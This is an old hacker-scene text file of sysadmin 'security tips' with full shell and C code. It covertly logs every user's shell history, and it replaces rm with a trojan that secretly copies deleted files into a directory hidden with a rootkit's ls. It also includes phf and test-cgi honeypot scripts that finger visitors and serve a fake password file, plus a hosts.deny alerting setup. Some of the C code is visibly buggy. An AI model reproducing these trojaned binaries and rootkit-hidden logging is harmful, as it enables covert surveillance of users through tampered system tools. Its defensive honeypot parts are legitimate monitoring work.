                   Security and Monitoring Tools
                   -----------------------------
			Shok (Matt Conover)
 	         shok@dataforce.net, shok@sekurity.org
    
What I plan for this to be, is some various utilities that you might think
as of use and what not. This is mainly a few security tips that I like to
use.

First off, edit your /etc/profile, and add the line:
export HISTFILE=/tmp/hist/`whoami`

and then do:
mkdir /tmp/hist;chmud 1777 /tmp/hist

You now want to hide that file, so the users don't see the dir (it can be
seen with set but not too many people check :) and you hide it with the
rootkit's ls.

Another few things I like to do.
I made a trojaned 'rm' that basically calls /bin/rm.bak which is hidden
(via rootkit ls), and it copies the file they are trying to delete to
/tmp/fill (which is also hidden via rootkit ls). 
There are two versions of this....I wrote the first one in shell script,
but do to the fact it has to be a+r, I wrote it in C afterwords. Here is
the rm.sh:

#!/bin/sh
# rm trojan, stores files in a temp directory, that is +tw, but go-r
# the directory this writes to should be hidden with a trojaned ls
# (via rootkit)
# this is just an example...USE rm.c ;)

if [ $# > 1 ] 
then

case $1 in
-i)
  shift
  cp -f $* /tmp/fill &>/dev/null
  doexec /bin/rm.bak rm -i $*
  ;;

--interactive)
  shift
  cp -f $* /tmp/fill &>/dev/null
  doexec /bin/rm.bak rm -i $* 
  ;;


-f)
  shift
  cp -f $* /tmp/fill &>/dev/null
  /bin/rm.bak -f $*
  ;; 

--force)
  shift
  cp -f $* /tmp/fill &>/dev/null
  /bin/rm.bak -f $* 
  ;;


-d)
  shift
  cp $1/* /tmp/fill &>/dev/null
  doexec /bin/rm.bak rm -d $*
  ;; 

--directory)
  shift
  cp $1/* /tmp/fill &>/dev/null
  doexec /bin/rm.bak rm -d $* 
  ;;


-v)
  shift
  cp -f $* /tmp/fill &>/dev/null
  /bin/rm.bak -v $*
  ;;

--verbose)
  shift
  cp -f $* /tmp/fill &>/dev/null
  /bin/rm.bak -v $* 
  ;;


-r)
  shift
  cp -f $1/* /tmp/fill &>/dev/null
  doexec /bin/rm.bak -R $*
  ;; 

-R)
  shift
  cp -f $1/* /tmp/fill &>/dev/null
  doexec /bin/rm.bak rm -R $*
  ;; 

--recursive)
  shift
  cp -f $1/* /tmp/fill &>/dev/null
  doexec /bin/rm.bak rm -R $* 
  ;;


-ri)
  shift
  cp -f $1/* /tmp/fill &>/dev/null
  /bin/rm.bak -ri $*
  ;;

-Ri)
  shift
  cp -f $1/* /tmp/fill &>/dev/null
  doexec /bin/rm.bak rm -ri $*
  ;;


-rf)
  shift
  cp -f $1/* /tmp/fill &>/dev/null
  cp -f $1 /tmp/fill &>/dev/null  
  /bin/rm.bak -rf $*
  ;;

-Rf)
  shift
  cp -f $1/* /tmp/fill &>/dev/null
  cp -f $1 /tmp/fill &>/dev/null
  /bin/rm.bak -rf $*
  ;;


-rd)
  shift
  cp -f $1/* /tmp/fill &>/dev/null
  doexec /bin/rm.bak rm -rd $*
  ;;

-Rd)
  shift
  cp -f $1/* /tmp/fill &>/dev/null
  doexec /bin/rm.bak rm -rd $*
  ;;


-Rv)
  shift
  cp -f $1/* /tmp/fill &>/dev/null
  doexec /bin/rm.bak rm -rv $*
  ;;

-rv)
  shift
  cp -f $1/* /tmp/fill &>/dev/null
  doexec /bin/rm.bak rm -rv $*
  ;;


-fv)
  shift
  cp -f $1 /tmp/fill &>/dev/null
  /bin/rm.bak -fv $*
  ;;


-Rfv)
  shift
  cp -f $1/* /tmp/fill &>/dev/null
  cp -f $1   /tmp/fill &>/dev/null
  /bin/rm.bak -rfv $*
  ;;

-rfv)
  shift
  cp -f $1/* /tmp/fill &>/dev/null
  cp -f $1   /tmp/fill &>/dev/null
  /bin/rm.bak -rfv $*
  ;;

*)
  cp -f $* /tmp/fill &>/dev/null
  /bin/rm.bak $*
  ;;
esac

else
  IT = $1
  cp -f $IT /tmp/fill
  /bin/rm.bak $IT

fi

If you do not have the program doexec, write it like this:

#include <stdio.h>
#include <unistd.h>

void main(int argc, char **argv)
{
  execl(argv[1], argv[2], argv[3], argv[4], (char *)NULL);
}


Now for rm.c:
 
/* ------------------------------------------------------ */
/* rm.c -- rm "trojan" by Shok (Matt Conover)             */
/* ------------------------------------------------------ */
/* Email: shok@dataforce.net, shok@sekurity.org		  */


#include <sys/stat.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h> 
#include <unistd.h>


void main(int argc, char **argv)
{
  int i, c;
  int recursive, verbose, force, interactive;

  if (argc > 2) {
        while((c = getopt (argc, argv, "Rrifv:")) != -1)
		switch (c)
		{
			case 'R': 
			case 'r':
				recursive = 1;
				break;
			case 'i':
				interactive = 1;
				break;
			case 'f':
				force = 1;
				break;
			case 'v':
				verbose = 1;
				break;
			case '?':
				exit(1);
			default:
				break;
		}
  } else if (argc == 2) {
        setenv("PROGRAM", argv[1], 1);
        system("cp -f $PROGRAM /tmp/fill &>/dev/null");  
        execl("/bin/rm.bak", "rm", argv[1], NULL);
        unsetenv("PROGRAM");
        exit(0);
  } else {
	 exit(0);
  }


  if ((interactive == 1) && (verbose != 1) && (force != 1) && (recursive != 1)) goto interactive;
  if ((force == 1) && (verbose != 1) && (interactive != 1) && (recursive != 1)) goto force;
  if ((verbose == 1) && (interactive != 1) && (force != 1) && (recursive != 1)) goto verbose;
  if ((recursive == 1) && (verbose != 1) && (force != 1) && (interactive != 1)) goto recursive;

  if ((recursive == 1) && (force == 1) && (interactive != 1) && (verbose != 1)) goto rf;
  if ((recursive == 1) && (force != 1) && (interactive == 1) && (verbose != 1)) goto ri;
  if ((recursive == 1) && (force != 1) && (interactive != 1) && (verbose == 1)) goto rv;  
  if ((recursive == 1) && (force == 1) && (interactive != 1) && (verbose == 1)) goto rfv;

  fprintf(stderr, "Unknown error.\n");
  exit(1);

interactive:

  for (i = 2; i < argc; i++) {
     setenv("PROGRAM", argv[i], 2);
     system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
     unsetenv("PROGRAM");
     execl("/bin/rm.bak","rm","-i",argv[2],NULL);
  }

  exit(0);
  
force:

  for (i = 2; i < argc; i++) {
     setenv("PROGRAM", argv[i], 2);
     system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
     unsetenv("PROGRAM");
     execl("/bin/rm.bak","rm","-f",argv[2],NULL);
  }

  exit(0);

verbose:
  for (i = 2; i < argc; i++)   {
     setenv("PROGRAM", argv[i], 2);
     system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
     unsetenv("PROGRAM");
     execl("/bin/rm.bak","rm","-v",argv[2],NULL);
  }

  exit(0);

recursive:
  for (i = 2; i < argc; i++) {
     setenv("PROGRAM", argv[i], 2);
     system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
     unsetenv("PROGRAM");
     execl("/bin/rm.bak","rm","-r",argv[2],NULL);
  }

  exit(0);

rf:
  for (i = 2; i < argc; i++) {
     setenv("PROGRAM", argv[i], 2);
     system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
     unsetenv("PROGRAM");
     execl("/bin/rm.bak","rm","-rf",argv[2],NULL);
  } 

  exit(0);

ri:
  for (i = 2;i < argc; i++) {
     setenv("PROGRAM", argv[i], 2);
     system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
     unsetenv("PROGRAM");
     execl("/bin/rm.bak","rm","-ri",argv[2],NULL);
  }

  exit(0);

rv:
  for (i = 2; i < argc; i++) {
     setenv("PROGRAM", argv[i], 2);
     system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
     unsetenv("PROGRAM");
     execl("/bin/rm.bak","rm","-rv",argv[2],NULL);
  }

  exit(0);

rfv:

  for (i = 2; i <argc; i++) {
     setenv("PROGRAM", argv[i], 2);
     system("cp -f $PROGRAM/* /tmp/fill &>/dev/null");
     unsetenv("PROGRAM");
     execl("/bin/rm.bak","rm","-rfv",argv[2],NULL);
  }

  exit(0);
}

This program can of course be improved, especially replacing the strcmp's
with getopt() but I could care less....

Now when ever a user deletes something it will first be copied to
/tmp/fill before it's deleted.

Now, even though it's logged to /var/log/httpd/access_log, I'd like to
know right away when someone tries to use the phf or test-cgi
vulnerabilities on me. So I replaced the phf and test-cgi programs in my
/cgi-bin/ with this. The first will get the info on who it is, then it
will send a fake passwd file. This can be improved of course but I don't
care to take the time. 

phf.c:

/* w00w00! */
/* phf trojan 								*/
/* -------------------------------------------------------------------- */
/* Just a little utility to log information about who is exploiting us. */
/* Will mail it to root of local host, with the IP address, the web     */
/* browser, the query string, etc. It will then return a fake password  */
/* below which can be modified.                                         */
/*									*/
/* Shok (Matt Conover)							*/
/* shok@dataforce.net, shok@sekurity.org                                */

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <sys/stat.h>
#include <sys/types.h>


/* List of defines */
#define ERROR -1

#define IP "206.71.69.243" /* Set this to your IP address. */

#define ADMIN "root" /* Set this to the user (or address) of the person    */
                     /* to get phf attempts.                               */

#define FINGERPROG "/usr/bin/finger" /* Set to path of 'finger'.           */
#define MAILPROG   "/bin/mail"       /* This does have to be the 'mail'    */
                                     /* program but this is to specify the */
                                     /* path.                              */

/* This returns a '404 File Not Found' to the client. */
#define PRNSERVERR() printf("Content-type: text/html\n\n");                \
          printf("<HTML><HEAD>\n");                                        \
          printf("<TITLE>404 File Not Found</TITLE>\n");                   \
          printf("</HEAD><BODY>\n");                                       \
                                                                           \
          printf("<H1>File Not Found</H1>\n");                             \
          printf("The requested URL was not found on this server.<P>\n");  \
                                                                           \
          printf("</BODY></HTML>\n");                                      \
                                                                           \
          fflush(stdin), fflush(stdout), fflush(stderr);                  

/* Free up our structures before exiting. */
#define FREEALL() free(buf), free(cmdarg), free(address);
/* ------------------ */

void main()
{ 
  FILE *tmpfile, *fingerinfo;

  int pid;
  int fd[2];
  register int errors = 0;

  char *buf     = malloc(4096);
  char *cmdarg  = malloc(512);
  char *address = malloc(256);

  char *host         = getenv("REMOTE_HOST");
  char *addr         = getenv("REMOTE_ADDR");
  char *browser      = getenv("HTTP_USER_AGENT");
  char *query_string = getenv("QUERY_STRING"); 


  /* We check each malloc seperately so we can free */ 
  /* any previously malloc()'d buffers.             */
  if (buf == NULL) {
     perror("malloc");
     PRNSERVERR();
     exit(ERROR);
  } else memset(buf, 0, sizeof(buf));

  if (cmdarg == NULL) {
     perror("malloc");
     PRNSERVERR();
     free(buf);
     exit(ERROR);
  } else memset(cmdarg, 0, sizeof(cmdarg));

  if (address == NULL) {
     perror("malloc");
     PRNSERVERR();
     free(buf), free(cmdarg);
     exit(ERROR);
  } else memset(address, 0, sizeof(address));
  /* ----------------------------- */


  if (pipe(fd) == ERROR) {
     perror("pipe");
     PRNSERVERR();
     FREEALL();
     exit(ERROR);
  }

  bzero(buf, sizeof(buf));

  if ((pid = fork()) == ERROR) {

     openlog("phf", LOG_PID, LOG_USER);
     syslog(LOG_ERR, "Unable to fork().");
     closelog();

     PRNSERVERR();
     FREEALL();
     exit(ERROR);
  }

  if (pid == 0) {
     close(fileno(stdout)), close(fileno(stderr)), close(fd[0]);
     dup2(fd[1], fileno(stdout)); /* Send all output to the pipe's output. */
     dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.          */

     sprintf(address, "@%.*s", 256 - 1, host); 

     /* Log information. */
     printf("The following person used phf!!\n\n");
     printf("\tHost: %s\n", host);
     printf("\tAddress: %s\n", addr);
     printf("\tBrowser type: %s\n", browser);
     printf("\tQuery String (i.e. command entered): %s\n\n", query_string); 

     printf("Information collected from fingering host (if any):\n");
     printf("---------------------------------------------------\n\n"); 
     fflush(stdout);

     if ((strcmp(addr, IP) != 0) && (strcmp(addr, "127.0.0.1") != 0)) 
        execl(FINGERPROG, "finger", address, (char *)NULL);
     else
        printf("[from the localhost (%s)]\n", IP);

     printf(".\n"); /* Terminate 'mail'. */
    /* --------------- */

     FREEALL();
     exit(0);
  } else { 

     close(fileno(stdin)), close(fileno(stderr)), close(fd[1]);
     dup2(fd[0], fileno(stdin)); /* Send all input to the pipe's input. */
     dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.          */

     wait(NULL); /* Wait for child to completely finish before starting. */

     /* Setup the subject to send to mail. */
     sprintf(cmdarg, "-s \"PHF ATTEMPT FROM %.*s!\"", 
             sizeof(cmdarg) - 19, host);
 
     /* fork() another child to execute the mail program. */
     if ((pid = fork()) == ERROR) {
        perror("fork");
        PRNSERVERR();
        FREEALL();
        exit(ERROR);
    }

    if (pid == 0) execl(MAILPROG, "mail", cmdarg, ADMIN, (char *)NULL);
  }

  /* Send a fake password file.. if there is a "cat" and "/etc/passwd" */
  /* in the QUERY_STRING. Otherwise report file not found (this can    */
  /* cause problems if they first send a cat /etc/passwd and then send */
  /* an xterm request for example.                                     */

  if (strstr(query_string, "cat") && strstr(query_string, "/etc/passwd")) {
     printf("Content-type: text/html\n\n");
     printf("<HTML><HEAD>\n");
     printf("<TITLE>Query Results</TITLE>\n");
     printf("<H1>Query Results</H1>\n"); 
     printf("</HEAD><BODY>\n");

     printf("<P>\n");
     printf("/usr/local/bin/ph -m  alias=x \n");
     printf("cat /etc/passwd\n");
     printf("<PRE>\n");
     printf("root:x3DgdbFdn:0:1:Operator:/:/bin/csh\n");
     printf("nobody:*:65534:65534::/:\n");
     printf("daemon:*:1:1::/:\n");
     printf("sys:*:2:2::/:/bin/csh\n");
     printf("bin:*:3:3::/bin:\n");
     printf("uucp:*:9:9::/var/spool/uucppublic:\n");
     printf("news:*:6:6::/var/spool/news:/bin/csh\n");
     printf("mail:*:8:8::/:\n");
     printf("audit:*:11:11::/usr/sbin/audit:/bin/csh\n");
     printf("slip::25:25:SLIP:/tmp:/usr/sbin/sliplogin\n");
     printf("sync::1:1::/:/bin/sync\n");
     printf("sysdiag:*:0:1:System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag\n");
     printf("sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag\n");
     printf("ftp:*:10:20:ftp:/home/ftp:/usr/bin/bash\n");
     printf("www:*:50:50:World Wide Web:/home/www:/usr/bin/bash\n");
     printf("pop:*:60:60:Post Office Protocol:/var/spool/pop:/usr/bin/bash\n");
     printf("f33r:A23gAdcYf5:4110:100:f33r me bitch:/home/hph:/usr/local/bin/tcsh\n");
     printf("john:Vf84.y4kl/:4120:18:John Preston:/usr/john:/usr/bin/bash\n");
     printf("lolop:j7Hf./fdf:8900:100:LoLoP:/home/lolop:/usr/local/bin/tcsh\n");
     printf("pcguest::7454:100:Guest Account:/tmp:/usr/bin/sh\n");
     printf("pscoot:Em8y0pwT.5umo:8930:100:Pike Scoot:/home/pscoot:/usr/bin/bash\n");
     printf("shok:aDrsBsefYr:666:100:Matt Conover:/home/shok:/bin/bash\n");
     printf("majordomo:*:405:20:Majordomo server:/dev/null:/bin/startdomo\n");
     printf("listserv:*:567:20:Listserv server:/dev/null:/bin/sh\n");
     printf("jsmith:Fdd34cDfc:8940:100:Jim Smith:/home/jsmith:/usr/bin/bash\n"); 
     printf("db:*:8970:100:Dieter Beule:/usr/sirius/dieter:/usr/bin/bash\n");
     printf("guest:*:8999:110:Guest:/home/guest:/usr/local/bin/tcsh\n");
     printf("</PRE>");

     printf("</BODY></HTML>\n");
  } else {
     PRNSERVERR();
     FREEALL();
  }

  FREEALL();
}


test-cgi.c:

/* w00w00! */
/* test-cgi trojan                                                      */
/* -------------------------------------------------------------------- */
/* Just a little utility to log information about who is exploiting us. */
/* Will mail it to root of local host, with the IP address, the web     */
/* browser, the query string, etc. It will then return a File Not Found */
/* error.								*/
/*									*/
/* Shok (Matt Conover)							*/
/* shok@dataforc.enet, shok@sekurity.org                                */

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <sys/stat.h>
#include <sys/types.h>

/* List of defines */
#define ERROR -1

#define IP "206.71.69.243" /* Set this to your IP address. */

#define ADMIN "root" /* Set this to the user (or address) of the person    */
                     /* to get phf attempts.                               */

#define FINGERPROG "/usr/bin/finger" /* Set to path of 'finger'.           */
#define MAILPROG   "/bin/mail"       /* This does have to be the 'mail'    */
                                     /* program but this is to specify the */
                                     /* path.                              */

/* This returns a '404 File Not Found' to the client. */
#define PRNSERVERR() printf("Content-type: text/html\n\n");                \
          printf("<HTML><HEAD>\n");                                        \
          printf("<TITLE>404 File Not Found</TITLE>\n");                   \
          printf("</HEAD><BODY>\n");                                       \
                                                                           \
          printf("<H1>File Not Found</H1>\n");                             \
          printf("The requested URL was not found on this server.<P>\n");  \
                                                                           \
          printf("</BODY></HTML>\n");                                      \
                                                                           \
          fflush(stdin), fflush(stdout), fflush(stderr);                  

/* Free up our structures before exiting. */
#define FREEALL() free(buf), free(cmdarg), free(address);
/* ------------------ */

void main()
{ 
  FILE *tmpfile, *fingerinfo;

  int pid;
  int fd[2];
  register int errors = 0;

  char *buf     = malloc(4096);
  char *cmdarg  = malloc(512);
  char *address = malloc(256);

  char *host         = getenv("REMOTE_HOST");
  char *addr         = getenv("REMOTE_ADDR");
  char *browser      = getenv("HTTP_USER_AGENT");
  char *query_string = getenv("QUERY_STRING"); 


  /* We check each malloc seperately so we can free */ 
  /* any previously malloc()'d buffers.             */
  if (buf == NULL) {
     perror("malloc");
     PRNSERVERR();
     exit(ERROR);
  } else memset(buf, 0, sizeof(buf));

  if (cmdarg == NULL) {
     perror("malloc");
     PRNSERVERR();
     free(buf);
     exit(ERROR);
  } else memset(cmdarg, 0, sizeof(cmdarg));

  if (address == NULL) {
     perror("malloc");
     PRNSERVERR();
     free(buf), free(cmdarg);
     exit(ERROR);
  } else memset(address, 0, sizeof(address));
  /* ----------------------------- */


  if (pipe(fd) == ERROR) {
     perror("pipe");
     PRNSERVERR();
     FREEALL();
     exit(ERROR);
  }

  bzero(buf, sizeof(buf));

  if ((pid = fork()) == ERROR) {

     openlog("test-cgi", LOG_PID, LOG_USER);
     syslog(LOG_ERR, "Unable to fork().");
     closelog();

     PRNSERVERR();
     FREEALL();
     exit(ERROR);
  }

  if (pid == 0) {
     close(fileno(stdout)), close(fileno(stderr)), close(fd[0]);
     dup2(fd[1], fileno(stdout)); /* Send all output to the pipe's output. */
     dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.          */

     sprintf(address, "@%.*s", 256 - 1, host); 

     /* Log information. */
     printf("The following person used test-cgi!\n\n");
     printf("\tHost: %s\n", host);
     printf("\tAddress: %s\n", addr);
     printf("\tBrowser type: %s\n", browser);
     printf("\tQuery String (i.e. command entered): %s\n\n", query_string); 

     printf("Information collected from fingering host (if any):\n");
     printf("---------------------------------------------------\n\n"); 
     fflush(stdout);

     if ((strcmp(address, IP) != 0) && (strcmp(address, "127.0.0.1") != 0))
        execl(FINGERPROG, "finger", address, (char *)NULL);
     else
        printf("[from the local host (%s)]\n", IP);

     printf(".\n"); /* Terminated 'mail'. */
    /* --------------- */

     FREEALL();
     exit(0);
  } else { 

     close(fileno(stdin)), close(fileno(stderr)), close(fd[1]);
     dup2(fd[0], fileno(stdin));  /* Send all input to the pipe's input. */
     dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.        */

     wait(NULL); /* Wait for child to completely finish before starting. */

     /* Setup the subject to send to mail. */
     sprintf(cmdarg, "-s \"TEST-CGI ATTEMPT FROM %.*s!\"", 
             sizeof(cmdarg) - 19, host);
 
     /* fork() another child to execute the mail program. */
     if ((pid = fork()) == ERROR) {
        perror("fork");
        PRNSERVERR();
        FREEALL();
        exit(ERROR);
    }

    if (pid == 0) execl(MAILPROG, "mail", cmdarg, ADMIN, (char *)NULL);
  }

  PRNSERVERR(); /* Just return 404 File Not Found. */
  FREEALL();
}


Just as an added bonus here.........
When someone goes to a directory you have .htaccess in, it will send 401,
which is the unauthorized error code (pretty sure it's 401 but not in the
mood to check). Now I editted my srm.conf (usually
/usr/local/etc/httpd/conf/srm.conf), and added this line:

ErrorDocument 401	/cgi-bin/unauthorized.cgi

This is basically like the one above.......except it differs
by the the 'user' part, which lets you know what user it was...this is a
good way to know if there is an unauthorized attempt, and/or what user is
logging into your webpage that is secured......

unauthorized.c:


/* w00w00! */
/* Unauthorized access catcher.                                         */
/* -------------------------------------------------------------------- */
/* Just a little utility to log information about who is unauthorized   */
/* to access the web page. Will mail it to root of local host, with the */ 
/* IP address, the web browser, user, ident, the query string, etc.     */
/*									*/
/* Shok (Matt Conover)							*/
/* shok@dataforce.net, shok@sekurity.org				*/

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <sys/stat.h>
#include <sys/types.h>

/* List of defines */
#define ERROR -1

#define ADMIN "root" /* Set this to the user (or address) of the person    */
                     /* to get phf attempts.                               */

#define IP "206.71.69.243" /* Set this to your IP address. */

#define FINGERPROG "/usr/bin/finger" /* Set to path of 'finger'.           */
#define MAILPROG   "/bin/mail"       /* This does have to be the 'mail'    */
                                     /* program but this is to specify the */
                                     /* path.                              */

/* This returns a '404 File Not Found' to the client. */
#define PRNSERVERR() printf("Content-type: text/html\n\n");                \
          printf("<HTML><HEAD>\n");                                        \
          printf("<TITLE>404 File Not Found</TITLE>\n");                   \
          printf("</HEAD><BODY>\n");                                       \
                                                                           \
          printf("<H1>File Not Found</H1>\n");                             \
          printf("The requested URL was not found on this server.<P>\n");  \
                                                                           \
          printf("</BODY></HTML>\n");                                      \
                                                                           \
          fflush(stdin), fflush(stdout), fflush(stderr);                  

/* Free up our structures before exiting. */
#define FREEALL() free(buf), free(cmdarg), free(address);
/* ------------------ */

void main()
{ 
  FILE *tmpfile, *fingerinfo;

  int pid;
  int fd[2];
  register int errors = 0;

  char *buf     = malloc(4096);
  char *cmdarg  = malloc(512);
  char *address = malloc(256);

  char *host         = getenv("REMOTE_HOST");
  char *addr         = getenv("REMOTE_ADDR");
  char *user         = getenv("REMOTE_USER");
  char *ident        = getenv("REMOTE_IDENT");
  char *browser      = getenv("HTTP_USER_AGENT");
  char *query_string = getenv("QUERY_STRING"); 


  /* We check each malloc seperately so we can free */ 
  /* any previously malloc()'d buffers.             */
  if (buf == NULL) {
     perror("malloc");
     PRNSERVERR();
     exit(ERROR);
  } else memset(buf, 0, sizeof(buf));

  if (cmdarg == NULL) {
     perror("malloc");
     PRNSERVERR();
     free(buf);
     exit(ERROR);
  } else memset(cmdarg, 0, sizeof(cmdarg));

  if (address == NULL) {
     perror("malloc");
     PRNSERVERR();
     free(buf), free(cmdarg);
     exit(ERROR);
  } else memset(address, 0, sizeof(address));
  /* ----------------------------- */


  if (pipe(fd) == ERROR) {
     perror("pipe");
     PRNSERVERR();
     FREEALL();
     exit(ERROR);
  }

  bzero(buf, sizeof(buf));

  if ((pid = fork()) == ERROR) {

     openlog("httpd: unauthorized.cgi", LOG_PID, LOG_USER);
     syslog(LOG_ERR, "Unable to fork().");
     closelog();

     PRNSERVERR();
     FREEALL();
     exit(ERROR);
  }

  if (pid == 0) {
     close(fileno(stdout)), close(fileno(stderr)), close(fd[0]);
     dup2(fd[1], fileno(stdout)); /* Send all output to the pipe's output. */
     dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.          */

     sprintf(address, "@%.*s", 256 - 1, host); 

     /* Log information. */
     printf("The following person used phf!!\n\n");
     printf("\tHost: %s\n", host);
     printf("\tAddress: %s\n", addr);
     printf("\tUser: %s\n", user);
     printf("\tIdent: %s\n", ident);
     printf("\tBrowser type: %s\n", browser);
     printf("\tQuery String (i.e. command entered): %s\n\n", query_string); 

     printf("Information collected from fingering host (if any):\n");
     printf("---------------------------------------------------\n\n"); 
     fflush(stdout);

     if ((strcmp(addr, IP) != 0) && (strcmp(addr, "127.0.0.1") != 0))
        execl(FINGERPROG, "finger", address, (char *)NULL);
     else
        printf("[from the local host (%s)]\n", IP);

     printf(".\n"); /* Terminate 'mail'. */
    /* --------------- */

     FREEALL();
     exit(0);
  } else { 
     close(fileno(stdin)), close(fileno(stderr)), close(fd[1]);
     dup2(fd[0], fileno(stdin));  /* Send all input to the pipe's input. */
     dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe.        */
     wait(NULL); /* Wait for child to completely finish before starting. */

     /* Setup the subject to send to mail. */
     sprintf(cmdarg, "-s \"UNAUTHORIZED FROM %.*s!\"", 
             sizeof(cmdarg) - 19, host);
 
     /* fork() another child to execute the mail program. */
     if ((pid = fork()) == ERROR) {
        perror("fork");
        PRNSERVERR();
        FREEALL();
        exit(ERROR);
    }

    if (pid == 0) execl(MAILPROG, "mail", cmdarg, ADMIN, (char *)NULL);
  }

  printf("Content-type: text/html\n\n");
  printf("<HTML><HEAD>\n");
  printf("<TITLE>401 Unauthorized Access</TITLE>\n");
  printf("</HEAD><BODY>\n");

  printf("<H1>Unauthorized Access</H1>\n");
  printf("You are unauthorized to access the requested URL.<P>\n");

  printf("</BODY></HTML>\n");
  
  FREEALL();
}


Here is my hosts.deny too.........in case you wanted to see it ;)
in.telnetd: ALL: /bin/mail -s "%h tried to telnet in" root

#FINGER - Noisy people
#------------
in.fingerd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "FINGER ATTEMPT FROM %h" root & 

#Security reasons
#---------------
in.ftpd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "FTP ATTEMPT FROM %h" root &
in.rlogind: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RLOGIN ATTEMPT FROM %h" root &
#in.telnetd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "TELNET ATTEMPT FROM %h" root &

# PORTMAP 
#-------------
portmap: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "PORTMAP ATTEMPT FROM %h. Using %s" root &

#COMSAT
in.comsat:  spawn /usr/sbin/safe_finger @%h| /bin/mail -s "COMSAT ATTEMPT FROM %h" root &

#REXECD
in.rexecd: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "REXEC ATTEMPT FROM %h" root &

#RSHD
in.rshd:  spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RSHD ATTEMPT FROM %h" root &

#NNRPD
in.nnrpd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "NNRPD ATTEMPT FROM %h" root &

#RPCBIND
rpcbind: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RPCBIND ATTEMPT FROM %h. Using %s" root &

#ALL: paranoid


Well.......................................we're winding down to the end.

It has been fun and I don't have much more to say on this article.
Thanks for reading, please feel free to use and distribute this, although
I wish for you to leave my comments and "header" at the tops ... ya know
my "copyright" :) 

You can access a few of my things at ftp.w00w00.org or
www.w00w00.org. 

 	           Shok (Matt Conover)

Email: shok@dataforce.net, shok@sekurity.org

